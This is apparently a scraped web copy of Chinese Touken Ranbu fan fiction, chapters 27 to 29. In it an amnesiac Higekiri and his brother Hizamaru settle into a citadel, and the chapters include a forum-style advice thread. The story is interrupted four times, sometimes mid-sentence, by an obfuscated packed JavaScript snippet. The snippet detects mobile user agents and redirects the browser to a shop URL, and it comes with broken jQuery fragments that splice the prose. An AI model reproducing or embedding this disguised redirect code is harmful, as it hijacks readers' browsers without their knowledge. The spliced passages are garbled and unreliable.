毕竟能被折腾到这么狼狈的髭切听起来实在有些反常啊。 为此,三日月宗近还贡献了一大把加速符,否则把浑身是血的刃拉出来谈话也实在是太不人性化了。 结果现在和髭切面对面交谈起来,却有种在欺负小孩的既视感。 这振髭切完全没有他们所熟悉的千年老刀的深沉,面对他们所发出的试探也似乎完全没意识到真正的意思,总是按照字面意思去进行理解。 “膝丸很担心你呢。”莺丸盯着手里的茶杯状似不经意地搭话。 “是呢……”髭切毫不经过思考地回复。 就像这样。 两刃一时甚至不清楚髭切是不是在故意装傻,不知道要怎么将对话进行下去。 髭切顺手端起了桌上的茶送到嘴边,两刃对这样的生活习以为常,都没反应过来这是刚泡好的茶。 “好烫!”髭切被烫的差点直接把手中的茶杯抛出去,好在烛台切光忠当初对他的教导让他艰难地控制住了本能,至少还把茶杯好好地放回了桌子上。 三日月宗近和莺丸就这么眼睁睁地看着髭切捂住了嘴,缓缓弯下腰栽了下去,憋得脸都红了也没把嘴里滚烫的茶水吐出来。 ……饶是这两个经验丰富的心机老刃也被眼前这一幕惊呆了,连端着茶水的手都颤了颤。 实在是眼前这一幕太有冲击力了。 真是强有力的证明呢,如果正常的髭切应该做不出这种有损形象的事,千年老刀的形象包袱还真是有用的辨别方式。 三日月宗近默默上前给被烫成一团的髭切拍了拍背。 膝丸就是这个时候找到髭切的,他看着这幅场景发出了一声惊天动地的惨叫。 “兄长——!!” 不要叫的好像兄长死了一样啊!!髭切在内心咆哮,但嘴上却腾不出空吐槽。 实在太熟悉了,总觉得每个和他关系亲近的刃不是在惨叫就是在惨叫的路上。 髭切被这声惨叫吓得一噎,瞬间咳得停不下来,赶忙伸出手制止膝丸,好不容易才终于把嘴里的茶水咽下去。 舌头……好疼! 莺丸默默地递上了凉水。 膝丸左看看右看看,确定髭切已经平复下来了才敢开口。 “兄长……怎么又自己一个人跑出来?”他声音里带着明显的担忧,髭切想到前几日才发生过的事,听着这句话也不免稍微有些心虚了。 “应该不是一个人吧?”莺丸的声音轻飘飘地传来。 髭切有些意外莺丸竟然会在他之前开口,诧异地看了过去,但也没让莺丸的话落地。 “啊……嗯,别在意嘛,伤都完全好了哦?”髭切顺从地向着膝丸展示,原本被贯穿的地方已经恢复如初了。“现在放心了吧?” “是。” “感谢两位帮我照看兄长。”膝丸明显比髭切要更清楚这其中的弯弯绕绕,向着三日月宗近和莺丸浅浅躬身。 收到了感谢的两刃却只觉得心情复杂。 其实他们两个完全没做什么呢。 既然他们所习惯的试探不管用了,那么果然最好还是直来直去一点好吧? “膝丸殿,你对这振髭切殿身上的异常应该清楚吧?”想通了这一点,三日月宗近想话语毫不委婉,直接就向着重点问去。 “……你想知道什么?”膝丸稍稍提起了些警惕。 三日月宗近并不在意地笑了笑,用那双带着弯月的双眼静静地看着膝丸。 “嘛,也不是什么很难回答的事,只是有些异常实在是不能忽视啊。”三日月宗近垂下眼眸。 “如果不搞清楚的话,是没办法帮到你们的吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755389|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现场的气氛凝固下来,几刃心中各有盘算,都没有试图打破沉寂的氛围。 “那个啊……几位是不是都忘了一件事?”髭切突然插入话题。“明明可以直接问我的吧?” 在场的刃都有些无奈。 在领略过髭切当前的状态后,几刃自然是都不想把这些弯弯绕绕放在本人面前的,一来不知道髭切是否愿意配合,二来髭切自己记不记得都不好说。 要是再刺激到髭切的记忆,他们几个可都没办法解决,没想到髭切这么积极。 算了,也怪他们非要在当事人面前谈论这种事。 “如果是好奇记忆的话,没有哦。” “好惊讶的表情,我应该还没有笨到那种程度吧?”髭切毫不在意地说出了他们想知道的信息,几刃却丝毫没有感到轻松。 无他,能令刀剑付丧神失去记忆的手段不多,偏偏已知的每一种都残酷至极,说真的,他们有些想象不到或是不敢相信,连髭切都被压制成这样,对方的手段该有多强大和残忍。 哪怕是早就意识到这一点的膝丸,在被髭切彻底戳破后也露出了难以忍耐的表情。 髭切看着众刃的反应有些意外,但在稍加思考后就明白了其中缘由,并突然意识到了一件事。 ……什么啊,失忆在刀剑们的世界里竟然是这么残酷的事情吗?那他后来做的事还真是……连他自己都看不下去了。光坊他们当时原来有藏着这么重的心事吗?也不知道是那时候的他没注意到,还是伊达组的演技真的好到一点馅都没露出来。 不过现在还有机会改变吧。 虽然没办法倒流时光改变鹤丸,但作为髭切的他现在还是能做些什么的。 髭切毫不犹豫地出声打断了众刃的思绪。 “那些东西已经完全不记得了哦。” ……诶? 膝丸意外地抬起头看向髭切。 “就是说,包括那些不知道究竟是不是痛苦的回忆,已经几乎全部都不记得了。 我现在记得的,只有这几天和膝丸一起度过的时间,所以说……别露出这么沉重的表情了吧?” 短短几句话暴露出了超大的信息量啊。 膝丸虽然很感动,但注意力时刻放在髭切身上的他也注意到了一件事。 髭切记得的,只有和他在一起的这几天,也就是他当时所见到的髭切,是真正记忆一片空白的状态。 那他当时没反应过来时对髭切做的?! 膝丸震惊地看向髭切。 ……肯定吓到兄长了吧。 髭切看着膝丸的表情变化,也知道这家伙的脑回路超前,肯定又朝着他预料不到的方向狂奔出去了。真是的,明明本意是想安慰膝丸啊。 “说的很不错啊!看起来完全不需要担心嘛!”膝丸还没来得及回复,从一旁突然传来了一道意外的声音。髭切闭着眼睛都知道这是谁,毕竟前段时间他还能天天听到这个声线从他嘴里发出来。 “哦呀,鸟丸?从哪里冒出来的?”他还是挺乐意和鹤丸国永说话的,毕竟是自己上一个身份的正主,再加上当时万屋碰到的那个鹤丸国永…… ……不对。 这家伙身上的灵力波动,不就是他作为鹤丸时认识的那个鹤丸国永吗? 27.失去本体刀的髭切 鹤丸国永注意到髭切的反应,眼中闪过一抹诧异。 这振髭切……一闪而过的熟悉,是对他?还是对鹤丸国永? 虽然注意到了这点异常,但鹤丸国永并没打算点出来,而是先对茶桌旁的另外两位点了点头。 既然已经确认了髭切并没有记忆,那再询问也不可能得到什么信息了,还不如放两刃回去休息,否则膝丸看起来快要暴起了哦。 “他们两个我就带走了,山姥切让我去把他们两个带去部屋。”鹤丸国永好笑地回忆起山姥切国广向他安排事宜的场景,像是生怕他搞砸了啊。“这种事竟然会被交到我手上啊,还真是吓了我一跳。” “嘛,毕竟鹤也是很靠谱的啊。”三日月宗近摆摆手,语调慢慢地回了鹤丸国永的话。 “还有这种事吗?”鹤丸国永故作疑惑。 鹤丸国永没等待三日月宗近的回复,不再闲聊,伸手招呼着髭切离开了。至于膝丸……鹤丸国永看了看髭切身后寸步不离的膝丸。 这也用不着他特意喊了。 离开三日月宗近和莺丸的视线范围后,鹤丸国永状似不经意地扯出了话题。 “还真是意外的客人啊……”突然,他像是想起了什么,提起语调。“啊,本来还想去找小鹤玩的,一天没见,他说不定会想我呢~” 髭切听到这句话只觉得汗毛都倒竖起来,作为鹤丸时亲切的鹤丸国永现在怎么看就有怎么吓人。这家伙直觉也太敏锐了吧? 那个人渣前主早就在他成为鹤丸前就已经死了,因此,他使用的刀剑男士身份上流淌的都是无属性的灵力。鹤丸国永是怎么把两个完全不同的刃联系到一起的? 虽然被人察觉出来是来自同一本丸的会更利于调查,这也正是他存在的意义,但不是想被发现是同一个人的这种察觉啊,稍微会有点尴尬吧? 膝丸敏锐地感受到髭切的紧张,主动接过了鹤丸国永抛出的话题。 “小鹤?” ……谢谢你,膝丸,但你抓重点的能力一如既往地很强。鹤丸国永明显就是故意暴露出了这一点,等着谁抓住去提问,听到这个问题反而让髭切更紧张了。 “是哦,小鹤。”鹤丸国永非常夸张地叹了口气。“最近惹人讨厌的惊吓越来越多了,小鹤是其他本丸的鹤,有机会的话带你们也一起去见见吧?很可爱的哦。” 啊是吗,那应该是没机会了,反正在他记忆中不记得有见过一对源氏兄弟。 鹤丸国永暗暗地瞥了一眼低着头的髭切。 “和髭切的状况还挺像的,也是失忆状态中,说不定你们会很聊得来哦。” ……这不是当然的吗,自己和自己当然很聊得来啊。 髭切越听越紧张,那边的鹤丸国永却好像看出来了髭切的不自在,更是玩得起劲了,一直在反复讲些有关“小鹤”的事情,膝丸还在一旁听得津津有味。 髭切只感觉到一股无名之火涌上心头,恨不得变回鹤丸给这个鹤丸国永来上一拳。 他怎么不知道鹤丸国永当时那么关注他的?连他自己都没发现的小习惯都讲得出来,就算知道这是出于关心,但作为髭切时听到这些实在是……心情复杂。 “那边的鸟丸,距离部屋还有多远呢?”不得不开口了啊,不然这个家伙要把他老底都扒出来了。 “嗯?”鹤丸国永就像是才回过神一样,指了指不远处房门打开的房间。“啊,那个就是哦。” “……刚刚已经路过那里好几圈了吧?”髭切头上蹦出了一个显眼的生气符号。 “哈哈哈,因为膝丸还挺喜欢听的嘛,就忍不住多说了一会。” 别想用学三日月的方式蒙混过关啊! 虽然心里是这样想的,但看着面前的鹤丸国永,髭切还是泄了气。 没办法对关心自己的人生气啊。 “既然已经到了,那么我们就先去休息了。”他只能无奈地赶客。 鹤丸国永当然听得出来这是送客的意思,于是最后对着髭切笑了笑,把髭切看得背后发凉后,转身离开了这里。 髭切终于松了口气。 膝丸看着髭切疲惫的样子,自觉地抓着髭切的手进入部屋,看起来非常习惯地收拾起了被褥。 “还真是熟练呢……”髭切对着眼前的场景忍不住感叹。 “因为以前也一直是这样的啊。”在作为分灵来到本丸之前,在本灵的记忆里。 气氛又安静下来,只能听得见膝丸动作带来的声音。 髭切背靠着部屋的墙壁,低垂着眉眼静静地注视膝丸的动作。 膝丸的动作很利落,一看就是经常做这些事的,不出意外的话,大概都是为了他这个惹人操心的兄长吧? “当时只要不去找我就好了吧?明明只要去举报你的审神者,然后等待新的本丸,就有机会再遇到新的髭切。”哪怕知道膝丸会回答什么,髭切还是想要开口去问。 “别说这种话了。”膝丸听到这个问题,动作瞬间停滞,他深呼吸,似乎在压抑怒火。 “哪怕能再认识其他的兄长……也不是你了啊。” 膝丸已经习惯了髭切动不动的语出惊人,或者说不得不习惯。 以前髭切也总是做出这样的事,比如经常性地记不住膝丸的名字,但怎么说呢……那已经是这对兄弟心照不宣的默契了吧,膝丸也愿意就那样被故作糊涂的兄长玩笑。 现在的就不太一样了,面对这个努力想表现得可靠的兄长,膝丸不仅有担忧和心疼,同时也不可避免地难以适应。 虽然他同样愿意把信任交付给现在失去记忆的髭切,但奈何髭切实在太喜欢在危险边缘游走,还总是试图一声不吭地把他摘到一边。 这几天发生的事让膝丸意识到,绝对不能再试图恢复过去的相处方式了。 特殊情况特殊对待,膝丸决定更加强势地面对这个兄长。 “还是说,兄长,你又打算把我丢到一边?” 呜哇,好凶。 “……怎么会。” 髭切勉强地安抚好故作气愤的膝丸,看着膝丸躺进被褥开始休息,也转头整理起自己的思绪。 可以确定了,这个鹤丸国永绝对就是自己之前认识的那个,从他的语气来看,现在的鹤丸还没有碎刀。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759603|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……也就是说,每一个身份被投放的时间点,应该都是前主死亡前后的那一小段时间,也不知道现在同时存在了几个他的意识。 等等。 那也意味着,过几天地葵的本丸被攻破就要发生了? 髭切皱眉。那么大规模地入侵审神者本丸,背后的家伙不可能用这么大阵仗就只铲除一个鹤丸。 现在的髭切,和后面几个不知道是谁的刀剑男士,于他们而言同样是隐患,再加上现在他的位置明明已经被对方得到,却在进入铃兰的本丸后就再没了动静。 恐怕是想一举消灭所有隐患吧,时间拉得越长,他们被找出来的概率就越高。 因为鹤丸降落时被捡走的太快了,最后才被得到了位置信息,所以发动的时间才会是鹤丸被发现之后。对方恐怕在得到鹤丸的信息后,就立刻进行了全面攻破吧。 那么他必须在那之前离开这个本丸才行。 虽然不觉得以这个本丸的能力会招架不住,但还是不要给别人添麻烦好了,反正他迟早要死的,能少拖累无辜的人就少一点吧。再说一回生二回熟,他这次也算是熟手了。 ……虽然作为髭切活下去也没什么关系,但只有鹤丸和髭切的话,得到的信息和扩散的程度还是不够吧。 想到这里,髭切闭上眼,伸手揉了揉太阳穴。 刚刚才答应不会把膝丸丢到一边,现在看来又得食言了啊,膝丸会气疯吧?希望自己离开后膝丸不要做什么奇怪的事。 “兄长,在烦恼什么?”伴随着布料的摩擦声,熟悉的声音传来。 “不是睡着了吗?”髭切没睁眼,就这么回复膝丸。 膝丸一噎。没想到兄长会这么不配合……他当然不可能就这么睡着了,毕竟髭切的前科累累,他要是睡着了,恐怕睡醒就又找不到兄长了。 髭切虽然表现得并不配合,但完全理解膝丸到底在想什么,他伸出手摸了摸凑到身前的膝丸的头。 “只是在想……下次和三条家的太刀他们一起喝茶的时候,要不要带点茶点过去呢?” 膝丸松了口气,立刻接下了这个小小的烦恼。 “请交给我吧,下次兄长只要提前和我说一声就好,我会去拜托烛台切光忠的。” “这个本丸的烛台切光忠会有时间吗?” “……” “那就由我来给兄长准备茶点!”膝丸短暂地消沉了一下,随即就立刻重整旗鼓。 髭切:? 不不,虽然不想对努力的弟弟说出打击的话,但膝丸的厨艺和他的也不遑多让吧?他还不太想在茶桌上放倒三日月宗近和莺丸啊。 好在膝丸自己看懂了髭切的欲言又止,主动放弃了这项危险行为。 “好了,这些事情就先放一放吧,茶点丸还真是尽力充沛呢,也该累了吧?” “不,兄长?!之前明明有记住我的名字吧?” “诶……有过这种事吗?嗯嗯,完全不记得了呢。”髭切故作不解。 “有的啊!” “……下次,下次一定会努力让兄长记住我的名字的。” “好,好。” 28.失去本体刀的髭切 是这样的,虽然知道刀剑男士们总是会格外关心同僚,但髭切实在没想到能做到这种程度。 对鹤丸国永还可以说是刃缘好,那对髭切为什么也这么热情? 据不完全统计,髭切在去大广间的路上至少被“偶遇”了六次,每次手里都能多点东西,真正到大广间的时候怀里已经堆满了各种礼物。 乱藤四郎送来的缎带,堀川国广送来的相机,秋田藤四郎送来的抱枕,笑面青江送来的……金蛋蛋? 一时之间甚至不知道是应该先感动还是先吐槽。 基本都是些和源氏没关系的刀呢……不,应该说和源氏有关系的刀要是来关心他就有点诡异了吧。 坐在大广间等待早餐的髭切看着身旁被堆得满满当当的礼物,好奇地捡出了其中的缎带,在膝丸头上比比划划。还是樱花粉色的呢,确实和乱藤四郎挺搭的。 膝丸为了防止髭切又到处乱跑,一晚上都没好好睡觉,现在正是昏昏欲睡的状态,完全没注意到髭切在做什么。 ……该绑在哪里好呢?膝丸的头发还真是短啊,五官也比髭切要更加硬朗,是个纯正的男子汉呢。 平时发现这一点的髭切也许还会调侃一下膝丸,不过现在的他只恨不得把自己的头发长度和膝丸互换。 果然,能下手的就只有刘海了吧? 髭切尽量放轻动作,手指穿过了膝丸的发丝,撩起那一缕遮住视线的刘海。话说他好奇很久了,这缕头发真的不会挡住日常视野吗?不过这个问题只能等膝丸醒来之后再问了。 比想象中的要柔软……还以为膝丸的铁刘海会有种发胶满满的手感呢。 髭切聚精会神,把注意力完全放在了膝丸的刘海上,轻轻地、轻轻地编了一个小辫。 然后看着手里的缎带犯了难。 这个不是他擅长的范畴啊,虽然当时贞坊有试图教过他,但他一点也没学会,真是没这方面的天赋呢。 就在这时髭切感觉到自己的肩被人拍了拍。 髭切抬起头,发现周围已经悄悄地围满了一圈刃,连手中还捏着膝丸的刘海都忘了,差点一抖就要站起来,还好被身后的次郎太刀按住了。 还好还好……髭切向次郎太刀投去了一个感谢的眼神。 要是没有次郎太刀这一下,估计膝丸能被刘海传来的诡异剧痛疼醒,这种事怎么想也还是不要了。 且不说有点太损害形象了,哦,不是他的形象,他的形象早就没了,是说膝丸的形象。 但其实现在被人围观编小辫也很损害形象吧?对此,髭切选择性的忽视了这一点。 他满脸疑惑地看着周围这一圈刃,围观他倒是能理解啦,毕竟如果是他也会跑来围观的,因为很有意思嘛,但是刚刚还有人拍了拍他吧? 乱藤四郎捕捉到髭切脸上的疑惑,激动地指了指自己。 髭切一看是乱藤四郎就心领神会了,把手中的缎带递了出去。 乱藤四郎接过,给髭切竖了一个点赞。 众刃就这么看着乱藤四郎在膝丸的小辫上绑了一个樱花粉色的蝴蝶结。 总觉得还缺点什么呢…… 包丁藤四郎灵光一闪,摘下了自己头上的发卡递给乱藤四郎,乱藤四郎眼前一亮,对着包丁藤四郎回了一个“OK”。 髭切目睹眼前这幅场景,不禁感叹一句: 人在做坏事的时候是无比团结的,刀剑付丧神同理。 “诶?大家围在那边做什么呢?” 烛台切光忠手中端着今天早饭的最后一盘点心出来,却只看到了一群刃围在一起,最中心的究竟是什么已经被堵得严严实实完全看不到了。 众刃原本都小心翼翼,生怕吵醒了膝丸,毕竟膝丸一看就睡得不是很熟,烛台切光忠这一声算是吓醒了不少刃。 伴随着烛台切光忠一句话落地,现场到处都响起了叮呤咣啷的声响,大家都慌忙地回到了原本属于自己的位置,装模作样地假装自己有事在做。 “好期待今天早上吃什么啊~”早饭不是已经端上来了吗? “今天的工作……”这个不知道是谁的家伙还没说完就被捂住嘴了,吃饭的时候聊工作也太恶毒了。 总之,从头到脚都透露着:好假! 不过还好现在的膝丸没有彻底清醒,足够让他们好好调整状态了。 膝丸听到周围传来的混乱的声音,迷迷糊糊地从睡梦中醒来,连眼睛都还蒙着层雾看不清眼前的场景。 髭切捏了捏手中的发卡,对接下来要发生的事心里有了点数。 乱藤四郎逃跑时把发卡塞到了他手里,甚至还对他眨了个wink,一看就是指望他把这项被打断的大业继续完成。 髭切当然是选择——满足他的心愿了。 毕竟他也很想看嘛。 “先等等哦,膝丸。”髭切声音温柔的不能再温柔,所有人听起来都能给出同一个评价:诡异。还未清醒的膝丸听着就感到后背发凉,只能顺从地再次把睁开了一半的眼睛闭了回去。 膝丸紧张地一动不敢动,眼睛紧闭着不敢露出一丝缝隙,睫毛一颤一颤地……真是配合呢,给他省了不少事啊。 髭切迅速捏住了膝丸被绑上了缎带的刘海,将手中的发卡卡在了膝丸的耳后。 好了,完成! 哇哦,超出预料的可爱呢。 “好乖好乖,睁开眼吧~”膝丸终于松了口气。 众刃的目光一时都向着膝丸的方向投过去,热闹的大广间再一次安静下来。 膝丸睁开眼的时间刚好卡在了大家沉默的瞬间,他一时之间不知道自己是不是应该再闭上眼,只能无助且迷茫地看向看热闹不嫌事大的兄长。 ……糟糕,真的好可爱。 髭切如他所愿地给众刃投去眼神,大家这才反应过来继续装模作样。 “啊——那个,小光今天最后拿的点心看起来真好吃啊——”太鼓钟贞宗试图将现在的气氛解释为另一种情况,却在伸出手后发现了不得了的事。 “对对,看的我也好想吃啊!”这是没仔细看就跟团的和泉守兼定,谁看了不说一句仁义。 “我、我也…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763512|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”这是看清了但依旧跟团的善良的五虎退。 和泉守兼定听到五虎退的语气顿感不妙,这才想起来仔细看看烛台切光忠端上来的是什么。 ……牡丹饼?! 其实烛台切光忠粗略扫过现场状况就知道发生了什么,自然也知道这两刃刚刚的发言是为了什么,但两刃的表情实在太好笑,他实在没忍住难得爆发了腹黑属性。 “小贞和和泉守先生这么喜欢的话,下次我会多准备一些的。” 他们两个都被打击成石膏了啊! …… 膝丸发现自己今天似乎有些……特别的,惹人关注。 无论是否熟悉的刃都会时不时抬起头认真地盯着他,这顿早饭可以说是吃得他坐立不安。 “那个,兄长?”膝丸迟疑地开口。“是我的装束有哪里不妥吗?” 难道是他刚刚在大广间小憩的时候弄乱了发型?还是早上出门的时候没好好整理? 他想伸手整理一下发型,但髭切抢先一步摸上了他的头,他不敢乱动,只能配合着髭切的动作。 “好了哦。” 真的好了吗?可大家还是一直在看这边啊。 难道说,是被戒备了吗?膝丸心情复杂。 “真的好了哦。”大概是他的表情实在太明显,连髭切都看出了他在想什么,膝丸成功得到了第二重保证。“难道不相信哥哥吗?” 很好,膝丸被打败了,他只能短暂地劝自己忽视周围刃的目光,埋头好好吃起了早饭。 直到早上没起床的明石国行姗姗来迟。 “……啊,这个是……”明石国行的表情惊讶。 虽然被爱染国俊和萤丸一起眼疾手快地拖了下去,但膝丸还是有了不妙的预感。 联想到刚刚阻止他整理头发的兄长,膝丸似乎猜到了什么,终于摸上了额头侧面的发卡和缎带。此时他才终于意识到了最大的问题——视野范围好像和平时不是那么一样了。 “……兄长?!” 此时的髭切心知无法再瞒下去,已经转过头开始偷笑了。不过在看到膝丸准备把发卡和缎带摘下来时,他还是出声阻止了。 “一定要摘掉吗?” “不……倒也不是,但是……”膝丸彻底泄气了,眼里写满了无奈欲言又止。“这个不太符合我的形象吧?” “但是很可爱吧?”嗯,很可爱呢。 无论怎么看都很可爱,这种反差真棒啊,偶尔能理解某些爱好了,尤其是戴在弟弟头上的时候。 “不,兄长,可爱什么的,我不是小孩子了吧?”膝丸总觉得自己自从认识这振兄长之后就一直在无奈。 膝丸看着髭切似乎并没有阻拦的意思,伸手向发卡摘去:“那我摘掉了哦?” “我知道了,我知道了,但是真的很可爱嘛。膝丸,看过来。”髭切举起堀川国广送的相机,在膝丸看过来的下一刻按下了快门,留下了自己和膝丸的合影。“呀,真是听话呢。再比个V怎么样?” “……兄长!!” “嗯嗯,我在哦。” 29.失去本体刀的髭切 “在想什么?”髭切从部屋里走出,坐在门口的膝丸身边。 “……兄长,不,没什么。” 不知道膝丸知不知道自己是什么样子,但在髭切看来完全就是在撒娇呢。 膝丸自从今天去本丸里游荡了一圈之后,回来就一直是这幅样子,髭切本来想等膝丸主动来讲,但现在看来,可爱的弟弟不愿意给他添麻烦呢。 那就只能他主动出击了。对膝丸使用那一招吧! “膝——丸——” “总觉得,今天遇到的刃都不太想理我。”膝丸噎了一下。 髭切点点头。的确,虽然两刃平时对他人也不是那么热情,并不是很需要社交的刃,但被排斥还是会有点难过的。 更何况自己旁边这个还是刚刚从冷遇本丸里出来的膝丸,对这些恐怕会更加敏感。 嗯……他当时从膝丸口中听到这件事也吓了一跳呢。 虽说冷遇并不是什么新鲜事,毕竟那么多的刀剑男士,也不可能每一位都被审神者喜欢,但到膝丸这种程度的实在是有些过了啊。 不过铃兰本丸的刃应该不会那么不友好吧? “这么说来,你有和他们聊聊吗?” “……没有,他们每次一见到我就不说话了。” 髭切一听就大概知道了是什么回事,喜闻乐见的误会情节嘛。 铃兰的本丸工作内容可不以本丸计数,刃刃都有独立工作,财政情况肯定是极其可观的,也就是说这群刃能整的活也就更多。 大概是在为他和膝丸的到来在准备什么吧?不过他没打算揭穿。 髭切把膝丸从廊下拉回部屋,在膝丸的手中塞入一个已开机的终端。 “既然这样的话,要不要问一下其他人试试?” —— 【求助帖】为什么大家好像有点讨厌我? 1L 哭哭丸.exe未响应 如题,先介绍一下我的情况。 我和兄长暂时算是流浪刀剑,具体情况不方便讲述还请谅解。 在被时间溯行军重伤后得到了这个本丸的救助,目前暂且安置在这个本丸,但本丸的大家似乎不那么想和我说话。每一次明明看到大家聊得很激烈,但只要我一靠近就会立刻停止交谈。 ……会是我做错了什么吗? 2L 哭哭丸.exe未响应 抱歉,忘记介绍最重要的事了,我是膝丸。 3L 【匿名】的审神者 >2L 这个倒是没什么关系啦,反正看名字也能看出来吧?不过被讨厌什么的……还有其他有用的线索吗? 4L 【匿名】的刀剑男士 这种情况?难道说是闯进了冷遇本丸?可如果是这样的话,应该不会留下你们两个才对啊。 5L 哭哭丸.exe未响应 >3L 名字?……应该是兄长起的。其他的暂时想不到了,抱歉。 >4L 不,不是冷遇,这个本丸的审神者很热情,最重要的是工作很忙,怎么说也不会有空做这种事的。本丸的其他刀剑男士除了这一点也都很正常。 6L 【匿名】的刀剑男士 真的真的没有其他的可以讲了吗?只是这样可没办法帮上忙哦,线索也太少了。 7L 杂草也要切吗? 要好好搞清楚哦。 8L 哭哭丸.exe未响应 >7L 是其他本丸的兄长吗?请放心,我会的。 9L 哭哭丸.exe未响应 什么都不说果然没办法啊,那么麻烦各位了。情况稍微有些复杂。 我原本所属的本丸是冷遇本丸,审神者不是很想见到我,所以我在本丸的安排基本都是出阵,而我是在出阵中遇到现在的兄长的。 兄长应该是遇到了不好的事情,所以失去了记忆,从和我见到的时候就已经是这样了。 之后我们遭遇了时间溯行军,兄长为了保护我受了重伤,我向现在所处本丸的队伍寻求了帮助。 现在是来到这个本丸的第二天。 10L 【匿名】的刀剑男士 不,这个…… 11L 【匿名】的审神者 嗯…… 12L 【匿名】的审神者 信息量好大。 13L 椰蓉糕 原来是遇到恶鬼了吗?……嗯,还有其他的线索吗? 14L 春山薄绿 兄长现在的状况怎么样? 15L 【匿名】的审神者 嘛,虽然理解各位源氏刀的心情,不过似乎完全偏题了呢。 16L 哭哭丸.exe未响应 不,没什么,如果是我也会很在意这些问题的。 >13L 因为兄长什么都不记得了,我也不知道更多细节,抱歉。 >14L 已经得到治疗了,现在和我一起在这个本丸。 17L 来点惊吓才对吧! 往好一点想怎么样?之前也出过很多类似的乌龙帖,基本上都是在背后准备惊喜而已。 18L 【匿名】的刀剑男士 也的确有这种可能呢。 >16L 其实我觉得椰蓉糕是在问你的情况。 19L 【匿名】的刀剑男士 但他们两个才刚到本丸没几天吧,就算是欢迎宴会,一般来说不也是加入本丸后才会举办的吗? 20L 蓝莓松饼 偶尔也会有例外情况,一些财政宽裕的本丸也说不定真的会这样做,总之还是想办法搞清楚再说吧? 21L 哭哭丸.exe未响应 >17L、21L 我知道了,感谢。但是我完全没有头绪应该怎么做,毕竟大家好像都在躲着我。 22L 春山薄绿 主动找人搭话试试吧? 23L 椰蓉糕 嘛,其实我也不觉得现在的情况是被讨厌了,但也不能完全排除这种可能性呢,直接去问也问不出什么的吧? 24L 【匿名】的审神者 >23L 说得好有道理。话说23L这个语气和名字,难道说是哥哥切吗? 25L 椰蓉糕 >24L 虽然说记得不是那么清楚,但过去属于我的逸闻中应该没有斩掉过谁的哥哥,那么我应该不是这位审神者大人要找的哥哥切吧? 26L 杂草也要切吗? 椰蓉切还真是计较呢。 27L 春山薄绿 >25L、26L 兄长……请不要吵架,这振膝丸还在等着解决办法吧? 28L 杂草也要切吗? 没有吵架哦。 29L 椰蓉糕 说的是呢,哭哭丸。 30L 【匿名】的审神者 这层楼的源氏刀含量还真是超标啊。 31L 来点惊吓才对吧! 毕竟是膝丸的求助帖,不过我和蓝莓松饼已经完全被忽视了吗? 32L【匿名】的刀剑男士 毕竟比起源氏两位的活跃程度,其他人的确不是那么起眼呢。既然如此,要不要去找粟田口的短刀们问一下试试?他们是最好相处的了吧。 如果这个也行不通的话,问一下兼先生怎么样?虽然有点对不起兼先生……但这样说不定会很有效呢。 33L 【匿名】的审神者 楼上匿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768866|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名已经彻底掉光了啊! 34L 蓝莓松饼 帖主膝丸已经很久没出现了。 35L 【匿名】的审神者 ……诶,真的啊,膝丸呢? —— 这边的源氏部屋被一把拉开了。 鹤丸国永迈着自信的步伐闯进了部屋,却在进来之后犯了难。 虽说是来都来了,但由他来做这一步总觉得有点奇怪呢…… 鹤丸国永的目光指向髭切。 髭切:…… 还以为你有什么好办法,结果就只是提供了一个刃力而已吗?既然这样就好好在终端联络过了再来啊。 髭切为鹤的不靠谱狠狠叹了口气,然后看向门外不知道什么时候被切换的雪景。 “要打雪仗吗?” “诶?” 膝丸被问得一愣。毕竟不是小孩子了呢,他似乎一直都对打雪仗没多大兴趣。 不过在髭切看来,最重要的原因其实还是兄长吧,膝丸每天都围着兄长团团转并且乐在其中呢。 “偶尔也要体验一下新奇的事情吧?嗯……再这样下去也要变成老爷爷了啊。虽说本来就是古董这样的东西了,但果然还是不想生锈。” 膝丸在髭切故作遗憾地叹气前就立刻应下了这件事,让髭切连准备好的演技都完全没派上用场。 